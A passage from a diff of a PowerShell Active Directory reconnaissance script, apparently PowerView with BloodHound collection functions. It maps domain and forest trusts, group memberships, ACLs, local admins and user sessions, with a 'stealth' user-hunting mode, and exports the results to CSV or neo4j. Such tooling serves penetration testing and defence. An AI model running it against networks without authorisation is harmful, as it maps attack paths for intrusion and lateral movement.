Get-NetDomainTrust { +<# + .SYNOPSIS + + Return all domain trusts for the current domain or + a specified domain. + + .PARAMETER Domain + + The domain whose trusts to enumerate, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local". + Useful for global catalog queries ;) + + .PARAMETER API + + Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust + + Return domain trusts for the current domain using built in .NET methods. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain using .NET methods + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP + queries, reflecting queries through the "Primary.testlab.local" domain controller, + using .NET methods. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local + + Return domain trusts reachable from the WINDOWS2 machine through API calls. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0, ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $API, + + [Switch] + $LDAP, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + $TrustAttributes = @{ + [uint32]'0x00000001' = 'non_transitive' + [uint32]'0x00000002' = 'uplevel_only' + [uint32]'0x00000004' = 'quarantined_domain' + [uint32]'0x00000008' = 'forest_transitive' + [uint32]'0x00000010' = 'cross_organization' + [uint32]'0x00000020' = 'within_forest' + [uint32]'0x00000040' = 'treat_as_external' + [uint32]'0x00000080' = 'trust_uses_rc4_encryption' + [uint32]'0x00000100' = 'trust_uses_aes_keys' + [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' + [uint32]'0x00000400' = 'pim_trust' + } + } + + process { + + if(-not $Domain) { + # if not domain is specified grab the current domain + $SourceDomain = (Get-NetDomain -Credential $Credential).Name + } + else { + $SourceDomain = $Domain + } + + if($LDAP -or $ADSPath) { + + $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath + + $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController + + if($TrustSearcher) { + + $TrustSearcher.Filter = '(objectClass=trustedDomain)' + + $Results = $TrustSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + + $TrustAttrib = @() + $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } + + $Direction = Switch ($Props.trustdirection) { + 0 { 'Disabled' } + 1 { 'Inbound' } + 2 { 'Outbound' } + 3 { 'Bidirectional' } + } + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID + $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP') + $DomainTrust + } + $Results.dispose() + $TrustSearcher.dispose() + } + } + elseif($API) { + if(-not $DomainController) { + $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name + } + + if($DomainController) { + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero + + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 + + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController + $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString + $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + Write-Verbose "Could not retrieve domain controller for $Domain" + } + } + else { + # if we're using direct domain connections through .NET + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential + if($FoundDomain) { + $FoundDomain.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Add('PowerView.DomainTrust') + $_ + } + } + } + } +} + + +function Get-NetForestTrust { +<# + .SYNOPSIS + + Return all trusts for the current forest. + + .PARAMETER Forest + + Return trusts for the specified forest. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetForestTrust + + Return current forest trusts. + + .EXAMPLE + + PS C:\> Get-NetForestTrust -Forest "test" + + Return trusts for the "test" forest. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Forest, + + [Management.Automation.PSCredential] + $Credential + ) + + process { + $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + + if($FoundForest) { + $FoundForest.GetAllTrustRelationships() | ForEach-Object { + $_.PSObject.TypeNames.Add('PowerView.ForestTrust') + $_ + } + } + } +} + + +function Invoke-MapDomainTrust { +<# + .SYNOPSIS + + This function gets all trusts for the current domain, + and tries to get all trusts for each domain it finds. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv + + Map all reachable domain trusts and output everything to a .csv file. + + .LINK + + http://blog.harmj0y.net/ +#> + [CmdletBinding()] + param( + [Switch] + $LDAP, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain status tracker + $Domains = New-Object System.Collections.Stack + + # get the current domain and push it onto the stack + $CurrentDomain = (Get-NetDomain -Credential $Credential).Name + $Domains.push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "Enumerating trusts for domain '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.add($Domain, "") + + try { + # get all the trusts for this domain + if($LDAP -or $DomainController) { + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential + } + else { + $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential + } + + if($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # get any forest trusts, if they exist + if(-not ($LDAP -or $DomainController) ) { + $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential + } + + if ($Trusts) { + if($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # enumerate each trust found + ForEach ($Trust in $Trusts) { + if($Trust.SourceName -and $Trust.TargetName) { + $SourceDomain = $Trust.SourceName + $TargetDomain = $Trust.TargetName + $TrustType = $Trust.TrustType + $TrustDirection = $Trust.TrustDirection + $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1 + + # make sure we process the target + $Null = $Domains.Push($TargetDomain) + + # build the nicely-parsable custom output object + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" + $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID + $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" + $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" + $DomainTrust.PSObject.TypeNames.Add($ObjectType) + $DomainTrust + } + } + } + } + catch { + Write-Verbose "[!] Error: $_" + } + } + } +} + + +######################################################## +# +# BloodHound specific fuctions. +# +######################################################## + +function New-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [String[]] + $ComputerName, + + [Parameter(Position = 1, Mandatory = $True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 2)] + [Hashtable] + $ScriptParameters, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20, + + [Switch] + $NoImports + ) + + BEGIN { + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if (-not $NoImports) { + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') + + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) + break + } + } + + $Jobs = @() + $ComputerName = $ComputerName | Where-Object { $_ -and ($_ -ne '') } + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" + + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize + + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } + + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" + + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool + + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) + } + } + + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] + + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) + } + } + } + + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + + # continuously loop through each job queue, consuming output as appropriate + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + } + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) + Write-Verbose "[New-ThreadedFunction] Waiting 120 seconds for final cleanup..." + Start-Sleep -Seconds 120 + + # cleanup- make sure we didn't miss anything + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + + $Pool.Dispose() + Write-Verbose "[New-ThreadedFunction] all threads completed" + } +} + + +function Get-GlobalCatalogUserMapping { +<# + .SYNOPSIS + + Returns a hashtable for all users in the global catalog, format of {username->domain}. + This is used for user session deconfliction in the Export-BloodHound* functions for + when a user session doesn't have a login domain. + + .PARAMETER GlobalCatalog + + The global catalog location to resole user memberships from, form of GC://global.catalog. +#> + [CmdletBinding()] + param( + [ValidatePattern('^GC://')] + [String] + $GlobalCatalog + ) + + if(-not $PSBoundParameters['GlobalCatalog']) { + $GCPath = ([ADSI]'LDAP://RootDSE').dnshostname + $ADSPath = "GC://$GCPath" + Write-Verbose "Enumerated global catalog location: $ADSPath" + } + else { + $ADSpath = $GlobalCatalog + } + + $UserDomainMappings = @{} + + $UserSearcher = Get-DomainSearcher -ADSpath $ADSpath + $UserSearcher.filter = '(samAccountType=805306368)' + $UserSearcher.PropertiesToLoad.AddRange(('samaccountname','distinguishedname', 'cn', 'objectsid')) + + ForEach($User in $UserSearcher.FindAll()) { + $UserName = $User.Properties['samaccountname'][0].ToUpper() + $UserDN = $User.Properties['distinguishedname'][0] + + if($UserDN -and ($UserDN -ne '')) { + if (($UserDN -match 'ForeignSecurityPrincipals') -and ($UserDN -match 'S-1-5-21')) { + try { + if(-not $MemberSID) { + $MemberSID = $User.Properties['cn'][0] + } + $UserSid = (New-Object System.Security.Principal.SecurityIdentifier($User.Properties['objectsid'][0],0)).Value + $MemberSimpleName = Convert-SidToName -SID $UserSid | Convert-ADName -InputType 'NT4' -OutputType 'Canonical' + if($MemberSimpleName) { + $UserDomain = $MemberSimpleName.Split('/')[0] + } + else { + Write-Verbose "Error converting $UserDN" + $UserDomain = $Null + } + } + catch { + Write-Verbose "Error converting $UserDN" + $UserDomain = $Null + } + } + else { + # extract the FQDN from the Distinguished Name + $UserDomain = ($UserDN.subString($UserDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.').ToUpper() + } + if($UserDomain) { + if(-not $UserDomainMappings[$UserName]) { + $UserDomainMappings[$UserName] = @($UserDomain) + } + elseif($UserDomainMappings[$UserName] -notcontains $UserDomain) { + $UserDomainMappings[$UserName] += $UserDomain + } + } + } + } + + $UserSearcher.dispose() + $UserDomainMappings +} + + +function Invoke-BloodHound { +<# + .SYNOPSIS + + This function automates the collection of the data needed for BloodHound. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + This function collects the information needed to populate the BloodHound graph + database. It offers a varity of targeting and collection options. + By default, it will map all domain trusts, enumerate all groups and associated memberships, + enumerate all computers on the domain and execute session/loggedon/local admin enumeration + queries against each. Targeting options are modifiable with -CollectionMethod. The + -SearchForest searches all domains in the forest instead of just the current domain. + By default, the data is output to CSVs in the current folder location (old Export-BloodHoundCSV functionality). + To modify this, use -CSVFolder. To export to a neo4j RESTful API interface, specify a + -URI X and -UserPass "...". + + .PARAMETER ComputerName + + Array of one or more computers to enumerate. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". + + .PARAMETER UserADSpath + + The LDAP source to search through for users/groups, e.g. "LDAP://OU=secret,DC=testlab,DC=local". + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to bind to for queries. + + .PARAMETER CollectionMethod + + The method to collect data. 'Group', 'Containers', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Trusts, 'Stealth', or 'Default'. + 'Stealth' uses 'Group' collection, stealth user hunting ('Session' on certain servers), 'GPOLocalGroup' enumeration, and trust enumeration. + 'Default' uses 'Group' collection, regular user hunting with 'Session'/'LoggedOn', 'LocalGroup' enumeration, and 'Trusts' enumeration. + 'ComputerOnly' only enumerates computers, not groups/trusts, and executes local admin/session/loggedon on each. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER CSVFolder + + The CSV folder to use for output, defaults to the current folder location. + + .PARAMETER CSVPrefix + + A prefix for all CSV files. + + .PARAMETER URI + + The BloodHound neo4j URL location (http://host:port/). + + .PARAMETER UserPass + + The "user:password" for the BloodHound neo4j instance + + .PARAMETER GlobalCatalog + + The global catalog location to resolve user memberships from, form of GC://global.catalog. + + .PARAMETER SkipGCDeconfliction + + Switch. Skip global catalog enumeration for session deconfliction. + + .PARAMETER Threads + + The maximum concurrent threads to execute, default of 20. + + .PARAMETER Throttle + + The number of cypher queries to queue up for neo4j RESTful API ingestion. + + .EXAMPLE + + PS C:\> Invoke-BloodHound + + Executes default collection methods and exports the data to a CSVs in the current directory. + + .EXAMPLE + + PS C:\> Invoke-BloodHound -URI http://SERVER:7474/ -UserPass "user:pass" + + Executes default collection options and exports the data to a BloodHound neo4j RESTful API endpoint. + + .EXAMPLE + + PS C:\> Invoke-BloodHound -CollectionMethod stealth + + Executes stealth collection and exports the data to a CSVs in the current directory. + This includes 'stealth' user hunting and GPO object correlation for local admin membership. + This is significantly faster but the information is not as complete as the default options. + + .LINK + + http://neo4j.com/docs/stable/rest-api-batch-ops.html + http://stackoverflow.com/questions/19839469/optimizing-high-volume-batch-inserts-into-neo4j-using-rest +#> + + [CmdletBinding(DefaultParameterSetName = 'CSVExport')] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String[]] + [ValidateNotNullOrEmpty()] + $ComputerName, + + [String] + $ComputerADSpath, + + [String] + $UserADSpath, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + [ValidateSet('Group', 'Containers', 'ACLs', 'ComputerOnly', 'LocalGroup', 'GPOLocalGroup', 'Session', 'LoggedOn', 'Stealth', 'Trusts', 'Default')] + $CollectionMethod = 'Default', + + [Switch] + $SearchForest, + + [Parameter(ParameterSetName = 'CSVExport')] + [ValidateScript({ Test-Path -Path $_ })] + [String] + $CSVFolder = $(Get-Location), + + [Parameter(ParameterSetName = 'CSVExport')] + [ValidateNotNullOrEmpty()] + [String] + $CSVPrefix, + + [Parameter(ParameterSetName = 'RESTAPI', Mandatory = $True)] + [URI] + $URI, + + [Parameter(ParameterSetName = 'RESTAPI', Mandatory = $True)] + [String] + [ValidatePattern('.*:.*')] + $UserPass, + + [ValidatePattern('^GC://')] + [String] + $GlobalCatalog, + + [Switch] + $SkipGCDeconfliction, + + [ValidateRange(1,50)] + [Int] + $Threads = 20, + + [ValidateRange(1,5000)] + [Int] + $Throttle = 1000 + ) + + BEGIN { + + Switch ($CollectionMethod) { + 'Group' { $UseGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } + 'Containers' { $UseContainers = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } + 'ACLs' { $UseGroup = $False; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True; $UseACLs = $True } + 'ComputerOnly' { $UseGroup = $False; $UseLocalGroup = $True; $UseSession = $True; $UseLoggedOn = $True; $SkipGCDeconfliction2 = $False } + 'LocalGroup' { $UseLocalGroup = $True; $SkipGCDeconfliction2 = $True } + 'GPOLocalGroup' { $UseGPOGroup = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } + 'Session' { $UseSession = $True; $SkipGCDeconfliction2 = $False } + 'LoggedOn' { $UseLoggedOn = $True; $SkipGCDeconfliction2 = $True } + 'Trusts' { $UseDomainTrusts = $True; $SkipComputerEnumeration = $True; $SkipGCDeconfliction2 = $True } + 'Stealth' { + $UseGroup = $True + $UseContainers = $True + $UseGPOGroup = $True + $UseSession = $True + $UseDomainTrusts = $True + $SkipGCDeconfliction2 = $False + } + 'Default' { + $UseGroup = $True + $UseContainers = $True + $UseLocalGroup = $True + $UseSession = $True + $UseLoggedOn = $False + $UseDomainTrusts = $True + $SkipGCDeconfliction2 = $False + } + } + + if($SkipGCDeconfliction) { + $SkipGCDeconfliction2 = $True + } + + $GCPath = ([ADSI]'LDAP://RootDSE').dnshostname + $GCADSPath = "GC://$GCPath" + + # the ActiveDirectoryRights regex we're using for output + # https://msdn.microsoft.com/en-us/library/system.directoryservices.activedirectoryrights(v=vs.110).aspx + # $ACLRightsRegex = [regex] 'GenericAll|GenericWrite|WriteProperty|WriteOwner|WriteDacl|ExtendedRight' + $ACLGeneralRightsRegex = [regex] 'GenericAll|GenericWrite|WriteOwner|WriteDacl' + + if ($PSCmdlet.ParameterSetName -eq 'CSVExport') { + try { + $OutputFolder = $CSVFolder | Resolve-Path -ErrorAction Stop | Select-Object -ExpandProperty Path + } + catch { + throw "Error: $_" + } + + if($CSVPrefix) { + $CSVExportPrefix = "$($CSVPrefix)_" + } + else { + $CSVExportPrefix = '' + } + + Write-Output "Writing output to CSVs in: $OutputFolder\$CSVExportPrefix" + + if($UseSession -or $UseLoggedon) { + $SessionPath = "$OutputFolder\$($CSVExportPrefix)user_sessions.csv" + $Exists = [System.IO.File]::Exists($SessionPath) + $SessionFileStream = New-Object IO.FileStream($SessionPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $SessionWriter = New-Object System.IO.StreamWriter($SessionFileStream) + $SessionWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $SessionWriter.WriteLine('"ComputerName","UserName","Weight"') + } + } + + if($UseGroup) { + $GroupPath = "$OutputFolder\$($CSVExportPrefix)group_memberships.csv" + $Exists = [System.IO.File]::Exists($GroupPath) + $GroupFileStream = New-Object IO.FileStream($GroupPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $GroupWriter = New-Object System.IO.StreamWriter($GroupFileStream) + $GroupWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $GroupWriter.WriteLine('"GroupName","AccountName","AccountType"') + } + } + + if($UseContainers) { + $ContainerPath = "$OutputFolder\$($CSVExportPrefix)container_structure.csv" + $Exists = [System.IO.File]::Exists($ContainerPath) + $ContainerFileStream = New-Object IO.FileStream($ContainerPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $ContainerWriter = New-Object System.IO.StreamWriter($ContainerFileStream) + $ContainerWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $ContainerWriter.WriteLine('"ContainerType","ContainerName","ContainerGUID","ContainerBlocksInheritence","ObjectType","ObjectName","ObjectGUIDorSID"') + } + + $GPLinkPath = "$OutputFolder\$($CSVExportPrefix)container_gplinks.csv" + $Exists = [System.IO.File]::Exists($GPLinkPath) + $GPLinkFileStream = New-Object IO.FileStream($GPLinkPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $GPLinkWriter = New-Object System.IO.StreamWriter($GPLinkFileStream) + $GPLinkWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $GPLinkWriter.WriteLine('"ObjectType","ObjectName","ObjectGUID","GPODisplayName","GPOGUID","IsEnforced"') + } + } + + if($UseACLs) { + $ACLPath = "$OutputFolder\$($CSVExportPrefix)acls.csv" + $Exists = [System.IO.File]::Exists($ACLPath) + $ACLFileStream = New-Object IO.FileStream($ACLPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $ACLWriter = New-Object System.IO.StreamWriter($ACLFileStream) + $ACLWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $ACLWriter.WriteLine('"ObjectName","ObjectType","ObjectGuid","PrincipalName","PrincipalType","ActiveDirectoryRights","ACEType","AccessControlType","IsInherited"') + } + } + + if($UseLocalGroup -or $UseGPOGroup) { + $LocalAdminPath = "$OutputFolder\$($CSVExportPrefix)local_admins.csv" + $Exists = [System.IO.File]::Exists($LocalAdminPath) + $LocalAdminFileStream = New-Object IO.FileStream($LocalAdminPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $LocalAdminWriter = New-Object System.IO.StreamWriter($LocalAdminFileStream) + $LocalAdminWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $LocalAdminWriter.WriteLine('"ComputerName","AccountName","AccountType"') + } + } + + if($UseDomainTrusts) { + $TrustsPath = "$OutputFolder\$($CSVExportPrefix)trusts.csv" + $Exists = [System.IO.File]::Exists($TrustsPath) + $TrustsFileStream = New-Object IO.FileStream($TrustsPath, [System.IO.FileMode]::Append, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) + $TrustWriter = New-Object System.IO.StreamWriter($TrustsFileStream) + $TrustWriter.AutoFlush = $True + if (-not $Exists) { + # add the header if the file doesn't already exist + $TrustWriter.WriteLine('"SourceDomain","TargetDomain","TrustDirection","TrustType","Transitive"') + } + } + } + + else { + # otherwise we're doing ingestion straight to the neo4j RESTful API interface + $WebClient = New-Object System.Net.WebClient + + $Base64UserPass = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($UserPass)) + + # add the auth headers + $WebClient.Headers.Add('Accept','application/json; charset=UTF-8') + $WebClient.Headers.Add('Authorization',"Basic $Base64UserPass") + + # check auth to the BloodHound neo4j server + try { + $Null = $WebClient.DownloadString($URI.AbsoluteUri + 'user/neo4j') + Write-Verbose "Connection established with neo4j ingestion interface at $($URI.AbsoluteUri)" + $Authorized = $True + } + catch { + $Authorized = $False + throw "Error connecting to Neo4j rest REST server at '$($URI.AbsoluteUri)'" + } + + Write-Output "Sending output to neo4j RESTful API interface at: $($URI.AbsoluteUri)" + + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Web.Extensions") + + # from http://stackoverflow.com/questions/28077854/powershell-2-0-convertfrom-json-and-convertto-json-implementation + function ConvertTo-Json20([object] $Item){ + $ps_js = New-Object System.Web.Script.Serialization.javascriptSerializer + return $ps_js.Serialize($item) + } + + $Authorized = $True + $Statements = New-Object System.Collections.ArrayList + + # add in the necessary constraints on nodes + $Null = $Statements.Add( @{ "statement"="CREATE CONSTRAINT ON (c:User) ASSERT c.UserName IS UNIQUE" } 